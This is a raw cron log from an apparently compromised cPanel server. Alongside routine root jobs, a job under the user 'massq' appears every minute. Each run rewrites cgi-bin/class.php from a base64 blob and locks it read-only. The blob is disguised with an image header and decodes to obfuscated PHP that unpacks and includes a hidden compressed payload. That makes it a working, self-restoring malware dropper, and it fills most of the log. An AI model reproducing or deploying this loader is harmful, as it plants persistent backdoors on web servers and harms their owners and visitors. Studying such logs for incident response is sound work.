Nov 11 13:20:01 server CROND[22634]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:20:01 server CROND[22633]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 13:20:01 server CROND[22632]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 13:21:01 server CROND[23355]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:22:01 server CROND[23528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:23:01 server CROND[24247]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:24:01 server CROND[24661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:25:01 server CROND[25486]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:25:01 server CROND[25487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:25:01 server CROND[25488]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:26:01 server CROND[26379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:27:01 server CROND[27210]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:27:01 server CROND[27211]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 13:28:01 server CROND[28050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:29:01 server CROND[28966]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:30:01 server CROND[29818]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:30:01 server CROND[29817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:30:01 server CROND[29821]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 13:30:01 server CROND[29822]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:31:01 server CROND[30643]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:32:01 server CROND[31602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
